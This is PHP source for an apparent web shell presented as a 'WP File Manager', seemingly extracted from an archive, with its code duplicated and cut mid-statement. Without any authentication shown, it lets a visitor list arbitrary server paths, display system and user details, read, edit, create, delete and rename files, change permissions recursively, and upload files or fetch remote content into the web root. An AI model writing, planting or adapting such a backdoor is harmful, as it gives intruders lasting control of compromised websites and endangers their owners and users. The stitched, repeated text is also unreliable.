"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëbaka@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
